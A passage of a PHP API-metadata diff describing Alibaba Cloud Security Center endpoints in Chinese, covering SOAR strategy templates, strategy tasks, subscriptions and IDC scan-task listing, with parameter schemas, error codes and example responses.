'处于waiting状态的策略任务ID。'."\n" + .'>调用[DescribeSoarStrategyTasks](~~2837958~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '11082', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C699E4E4-F2F4-58FC-A949-457FFE59****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"C699E4E4-F2F4-58FC-A949-457FFE59****\\"\\n}","type":"json"}]', + 'title' => '删除任务中心任务', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategies' => [ + 'summary' => '查询任务中心提供的策略模板。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92198', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageNumber', + 'in' => 'query', + 'schema' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'PageNumber' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'SoarStrategies' => [ + 'description' => '策略集。', + 'type' => 'array', + 'items' => [ + 'description' => '策略信息。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '策略类型。取值：'."\n" + .'- type_vulfix：漏洞运营', + 'type' => 'string', + 'example' => 'type_vulfix', + ], + 'Description' => [ + 'description' => '策略描述。', + 'type' => 'string', + 'example' => 'strategy_description_01', + ], + 'GmtCreate' => [ + 'description' => '创建策略的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1703556715000', + ], + 'RunMode' => [ + 'description' => '执行模式。取值：'."\n" + .'- runmode_TRIGGER_BY_USER：手动执行', + 'type' => 'string', + 'example' => 'runmode_TRIGGER_BY_USER', + ], + 'GmtModified' => [ + 'description' => '修改策略的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1698114242000', + ], + 'Name' => [ + 'description' => '策略的名称。', + 'type' => 'string', + 'example' => 'strategy_name01', + ], + 'Id' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '16064025', + ], + 'Creator' => [ + 'description' => '创建者的阿里云账号ID。默认为0，代表系统用户。', + 'type' => 'string', + 'example' => '0', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"4BB99533-4FDC-5B9C-A5E4-5AE3E9BE5C78\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 100,\\n \\"SoarStrategies\\": [\\n {\\n \\"Type\\": \\"type_vulfix\\",\\n \\"Description\\": \\"strategy_description_01\\",\\n \\"GmtCreate\\": 1703556715000,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"GmtModified\\": 1698114242000,\\n \\"Name\\": \\"strategy_name01\\",\\n \\"Id\\": 16064025,\\n \\"Creator\\": \\"0\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询任务中心策略模版', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategyParam' => [ + 'summary' => '查询任务中心策略参数。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92199', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[DescribeSoarStrategies](~~DescribeSoarStrategies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '15553', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ProcessInfo' => [ + 'description' => '策略对应的流程。', + 'type' => 'string', + 'example' => '{"edges":[{"level":0,"removeFlag":0,"source":1,"target":8}]}', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '6673D49C-A9AB-40DD-B4A2-B92306701AE7', + ], + 'Params' => [ + 'description' => '策略参数。', + 'type' => 'string', + 'example' => '{"summary":[{"name":"email","type":"String","isRequired":false,"fromProperty":"notifyConfig.email"}]}', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => 'Invalid parameter value.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ProcessInfo\\": \\"{\\\\\\"edges\\\\\\":[{\\\\\\"level\\\\\\":0,\\\\\\"removeFlag\\\\\\":0,\\\\\\"source\\\\\\":1,\\\\\\"target\\\\\\":8}]}\\",\\n \\"RequestId\\": \\"6673D49C-A9AB-40DD-B4A2-B92306701AE7\\",\\n \\"Params\\": \\"{\\\\\\"summary\\\\\\":[{\\\\\\"name\\\\\\":\\\\\\"email\\\\\\",\\\\\\"type\\\\\\":\\\\\\"String\\\\\\",\\\\\\"isRequired\\\\\\":false,\\\\\\"fromProperty\\\\\\":\\\\\\"notifyConfig.email\\\\\\"}]}\\"\\n}","type":"json"}]', + 'title' => '查询任务中心策略参数', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategyTaskDetail' => [ + 'summary' => '查询任务中心策略任务详情，包括任务的执行情况及任务对应的流程图等信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92200', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'StrategyTaskId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略任务ID。'."\n" + .'>调用[DescribeSoarStrategyTasks](~~DescribeSoarStrategyTasks~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '10585', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'FBBEB173-1F43-505F-A876-C03ECDF6CE4C', + ], + 'TaskDetail' => [ + 'description' => '任务详情。', + 'type' => 'object', + 'properties' => [ + 'LogInfo' => [ + 'description' => '任务执行日志信息。', + 'type' => 'string', + 'example' => '{'."\n" + .'"resultContent": "{\\"failedNum\\":0,\\"totalNum\\":1,\\"successNum\\":1}",'."\n" + .'"resultStatus": 0,'."\n" + .'"status": 2'."\n" + .'}', + ], + 'ProcessInfo' => [ + 'description' => '策略任务对应的流程信息。', + 'type' => 'string', + 'example' => '{'."\n" + .' "edges": ['."\n" + .' {'."\n" + .' "level": 0,'."\n" + .' "removeFlag": 0,'."\n" + .' "source": 1,'."\n" + .' "target": 8'."\n" + .' }'."\n" + .' ],'."\n" + .' "nodes": ['."\n" + .' {'."\n" + .' "actionId": "Action_014s73k",'."\n" + .' "iconUrl": "https://img.alicdn.com/tfs/TB1T*****jSZLeXXb9kVXa-12-14.svg",'."\n" + .' "id": 1,'."\n" + .' "label": "describeDisks",'."\n" + .' "nodeName": "DescribeDisks",'."\n" + .' "status": 0,'."\n" + .' "type": "openAPI"'."\n" + .' }'."\n" + .' ]'."\n" + .'}', + ], + 'Params' => [ + 'description' => '任务参数。', + 'type' => 'string', + 'example' => '['."\n" + .' {'."\n" + .' "name": "vulList",'."\n" + .' "associationProperty": "sasAllVul",'."\n" + .' "value": ['."\n" + .' {'."\n" + .' "regionId": "cn-hangzhou",'."\n" + .' "instanceId": "i-bp10i3dtyq7x4****5e",'."\n" + .' "instanceName": "xxx",'."\n" + .' "vulId": 1222,'."\n" + .' "vulName": "centos:7:cesa-2024:1249",'."\n" + .' "vulAliasName": "CESA-2024:1249",'."\n" + .' "vulTag": "oval",'."\n" + .' "vulUuid": "3c5eb76a-df89-****-85ef-67562cdc2344",'."\n" + .' "vulType": "cve",'."\n" + .' "vulModifyTs": 1721324258000'."\n" + .' }'."\n" + .' ]'."\n" + .' },'."\n" + .' {'."\n" + .' "name": "snapshotConfig",'."\n" + .' "associationProperty": "snapshotConfig",'."\n" + .' "value": {'."\n" + .' "ttl": 1'."\n" + .' }'."\n" + .' },'."\n" + .' {'."\n" + .' "name": "notifyConfig",'."\n" + .' "associationProperty": "notifyConfig",'."\n" + .' "value": {'."\n" + .' "ding": ['."\n" + .' {'."\n" + .' "value": 2195,'."\n" + .' "label": "test"'."\n" + .' }'."\n" + .' ]'."\n" + .' }'."\n" + .' }'."\n" + .']', + ], + 'TaskName' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'example' => 'task-1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"FBBEB173-1F43-505F-A876-C03ECDF6CE4C\\",\\n \\"TaskDetail\\": {\\n \\"LogInfo\\": \\"{\\\\n\\\\\\"resultContent\\\\\\": \\\\\\"{\\\\\\\\\\\\\\"failedNum\\\\\\\\\\\\\\":0,\\\\\\\\\\\\\\"totalNum\\\\\\\\\\\\\\":1,\\\\\\\\\\\\\\"successNum\\\\\\\\\\\\\\":1}\\\\\\",\\\\n\\\\\\"resultStatus\\\\\\": 0,\\\\n\\\\\\"status\\\\\\": 2\\\\n}\\",\\n \\"ProcessInfo\\": \\"{\\\\n \\\\\\"edges\\\\\\": [\\\\n {\\\\n \\\\\\"level\\\\\\": 0,\\\\n \\\\\\"removeFlag\\\\\\": 0,\\\\n \\\\\\"source\\\\\\": 1,\\\\n \\\\\\"target\\\\\\": 8\\\\n }\\\\n ],\\\\n \\\\\\"nodes\\\\\\": [\\\\n {\\\\n \\\\\\"actionId\\\\\\": \\\\\\"Action_014s73k\\\\\\",\\\\n \\\\\\"iconUrl\\\\\\": \\\\\\"https://img.alicdn.com/tfs/TB1T*****jSZLeXXb9kVXa-12-14.svg\\\\\\",\\\\n \\\\\\"id\\\\\\": 1,\\\\n \\\\\\"label\\\\\\": \\\\\\"describeDisks\\\\\\",\\\\n \\\\\\"nodeName\\\\\\": \\\\\\"DescribeDisks\\\\\\",\\\\n \\\\\\"status\\\\\\": 0,\\\\n \\\\\\"type\\\\\\": \\\\\\"openAPI\\\\\\"\\\\n }\\\\n ]\\\\n}\\",\\n \\"Params\\": \\"[\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"vulList\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"sasAllVul\\\\\\",\\\\n \\\\\\"value\\\\\\": [\\\\n {\\\\n \\\\\\"regionId\\\\\\": \\\\\\"cn-hangzhou\\\\\\",\\\\n \\\\\\"instanceId\\\\\\": \\\\\\"i-bp10i3dtyq7x4****5e\\\\\\",\\\\n \\\\\\"instanceName\\\\\\": \\\\\\"xxx\\\\\\",\\\\n \\\\\\"vulId\\\\\\": 1222,\\\\n \\\\\\"vulName\\\\\\": \\\\\\"centos:7:cesa-2024:1249\\\\\\",\\\\n \\\\\\"vulAliasName\\\\\\": \\\\\\"CESA-2024:1249\\\\\\",\\\\n \\\\\\"vulTag\\\\\\": \\\\\\"oval\\\\\\",\\\\n \\\\\\"vulUuid\\\\\\": \\\\\\"3c5eb76a-df89-****-85ef-67562cdc2344\\\\\\",\\\\n \\\\\\"vulType\\\\\\": \\\\\\"cve\\\\\\",\\\\n \\\\\\"vulModifyTs\\\\\\": 1721324258000\\\\n }\\\\n ]\\\\n },\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"snapshotConfig\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"snapshotConfig\\\\\\",\\\\n \\\\\\"value\\\\\\": {\\\\n \\\\\\"ttl\\\\\\": 1\\\\n }\\\\n },\\\\n {\\\\n \\\\\\"name\\\\\\": \\\\\\"notifyConfig\\\\\\",\\\\n \\\\\\"associationProperty\\\\\\": \\\\\\"notifyConfig\\\\\\",\\\\n \\\\\\"value\\\\\\": {\\\\n \\\\\\"ding\\\\\\": [\\\\n {\\\\n \\\\\\"value\\\\\\": 2195,\\\\n \\\\\\"label\\\\\\": \\\\\\"test\\\\\\"\\\\n }\\\\n ]\\\\n }\\\\n }\\\\n]\\",\\n \\"TaskName\\": \\"task-1\\"\\n }\\n}","type":"json"}]', + 'title' => '查询任务中心策略任务详情', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarStrategyTasks' => [ + 'summary' => '查询任务中心策略任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92202', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageNumber', + 'in' => 'query', + 'schema' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'PageNumber' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'SoarStrategyTasks' => [ + 'description' => '策略任务集合。', + 'type' => 'array', + 'items' => [ + 'description' => '策略任务详情。', + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '任务运行状态。取值：'."\n" + .'- -1：waiting'."\n" + .'- 0：starting'."\n" + .'- 1：running'."\n" + .'- 2：finished'."\n" + .'- 3：schedule'."\n" + .'- 4：pause', + 'type' => 'string', + 'example' => '0', + ], + 'FailedNum' => [ + 'description' => '执行失败数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'StrategyId' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '8000', + ], + 'GmtCreate' => [ + 'description' => '创建策略任务时的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1708481235000', + ], + 'SuccessNum' => [ + 'description' => '执行成功数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalNum' => [ + 'description' => '执行任务总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'RunMode' => [ + 'description' => '执行模式。取值：'."\n" + .'- runmode_TRIGGER_BY_USER：手动执行', + 'type' => 'string', + 'example' => 'runmode_TRIGGER_BY_USER', + ], + 'Name' => [ + 'description' => '策略任务名称。', + 'type' => 'string', + 'example' => 'strategy_name01', + ], + 'GmtModified' => [ + 'description' => '修改创建策略任务时的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1669869436000', + ], + 'Id' => [ + 'description' => '策略任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '5374', + ], + 'GmtFinish' => [ + 'description' => '执行策略任务完成后的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1586739841000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"24A20733-10A0-4AF6-BE6B-E3322413BB68\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 100,\\n \\"SoarStrategyTasks\\": [\\n {\\n \\"Status\\": \\"0\\",\\n \\"FailedNum\\": 20,\\n \\"StrategyId\\": 8000,\\n \\"GmtCreate\\": 1708481235000,\\n \\"SuccessNum\\": 20,\\n \\"TotalNum\\": 20,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"Name\\": \\"strategy_name01\\",\\n \\"GmtModified\\": 1669869436000,\\n \\"Id\\": 5374,\\n \\"GmtFinish\\": 1586739841000\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询任务中心策略任务列表', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'ModifySoarStrategySubscribe' => [ + 'summary' => '添加/删除某个策略模版到任务中心-我的策略中。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92391', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'StrategyId', + 'in' => 'query', + 'schema' => [ + 'description' => '策略ID。'."\n" + .'>调用[DescribeSoarStrategies](~~DescribeSoarStrategies~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '8000', + ], + ], + [ + 'name' => 'SubscribeStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '添加/删除状态。取值：'."\n" + .'- true：添加到我的策略'."\n" + .'- false：从我的策略删除', + 'type' => 'boolean', + 'required' => true, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '8BF56229-7FF5-51ED-B958-00B8573E77CD', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"8BF56229-7FF5-51ED-B958-00B8573E77CD\\"\\n}","type":"json"}]', + 'title' => '添加/删除策略模版到我的策略列表', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSoarSubscribedStrategy' => [ + 'summary' => '查看云安全中心任务中心创建的我的策略列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92203', + 'abilityTreeNodes' => [ + 'FEATUREsasEX82TR', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageNumber', + 'in' => 'query', + 'schema' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的记录的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF46038', + ], + 'PageSize' => [ + 'description' => '设置分页查询时，每页显示的记录的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'PageNumber' => [ + 'description' => '页面编号。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalCount' => [ + 'description' => '总数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '101', + ], + 'SoarStrategies' => [ + 'description' => '策略集。', + 'type' => 'array', + 'items' => [ + 'description' => '策略详情。', + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '策略类型。取值：'."\n" + .'- type_vulfix：漏洞运营', + 'type' => 'string', + 'example' => 'type_vulfix', + ], + 'ExecuteNum' => [ + 'description' => '策略总计被执行次数。', + 'type' => 'string', + 'example' => '10', + ], + 'Description' => [ + 'description' => '策略描述。', + 'type' => 'string', + 'example' => 'strategy_description_01', + ], + 'GmtCreate' => [ + 'description' => '创建策略的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1716344106000', + ], + 'RunMode' => [ + 'description' => '执行模式。取值：'."\n" + .'- runmode_TRIGGER_BY_USER：手动执行', + 'type' => 'string', + 'example' => 'runmode_TRIGGER_BY_USER', + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'strategy_name01', + ], + 'GmtModified' => [ + 'description' => '修改策略的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1652672104000', + ], + 'Id' => [ + 'description' => '策略ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '300063', + ], + 'Creator' => [ + 'description' => '创建者的阿里云账号ID。', + 'type' => 'string', + 'example' => '1276085*****4392', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF46038\\",\\n \\"PageSize\\": 20,\\n \\"PageNumber\\": 1,\\n \\"TotalCount\\": 101,\\n \\"SoarStrategies\\": [\\n {\\n \\"Type\\": \\"type_vulfix\\",\\n \\"ExecuteNum\\": \\"10\\",\\n \\"Description\\": \\"strategy_description_01\\",\\n \\"GmtCreate\\": 1716344106000,\\n \\"RunMode\\": \\"runmode_TRIGGER_BY_USER\\",\\n \\"Name\\": \\"strategy_name01\\",\\n \\"GmtModified\\": 1652672104000,\\n \\"Id\\": 300063,\\n \\"Creator\\": \\"1276085*****4392\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '获取任务中心我的策略列表', + 'description' => '仅云安全中心的企业版和旗舰版支持该API调用，其他版本不支持。', + ], + 'DescribeSyncAssetTaskList' => [ + 'summary' => '查询资产同步IDC扫描任务列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '92218', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'TaskName', + 'in' => 'query', + 'schema' => [ + 'description' => '任务名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'IDC_PROBE_SCAN***', + ], + ], + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的IDC扫描任务开始的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1652063828796', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的IDC扫描任务结束的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1662430077000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '24A20733-10A0-4AF6-BE6B-E3322413BB68', + ], + 'PageInfo' => [ + 'description' => 'PageInfo 页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的IDC扫描任务的数量。默认值为20，表示每页显示20条可自动修复漏洞配置。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的IDC扫描任务的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '110', + ], + 'Count' => [ + 'description' => '当前页面显示的IDC扫描任务的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'TaskRecords' => [ + 'description' => 'IDC扫描任务列表。', + 'type' => 'array', + 'items' => [ + 'description' => 'IDC扫描任务。', + 'type' => 'object', + 'properties' => [ + 'TaskType' => [ + 'description' => '任务类型，固定为**IDC_PROBE_SCAN**，表示任务类型为IDC扫描任务。', + 'type' => 'string', + 'example' => 'IDC_PROBE_SCAN', + ], + 'TaskStatus' => [ + 'description' => 'IDC探针扫描任务的状态。'."\n" + .'- **INIT**：待启动'."\n" + .'- **START**：已启动'."\n" + .'- **MESSAGE_SEND**：已下发指令'."\n" + .'- **SUCCESS**：已完成'."\n" + .'- **FAIL**：已失败'."\n" + .'- **TIMEOUT**：已超时', + 'type' => 'string', + 'example' => 'SUCCESS', + ], + 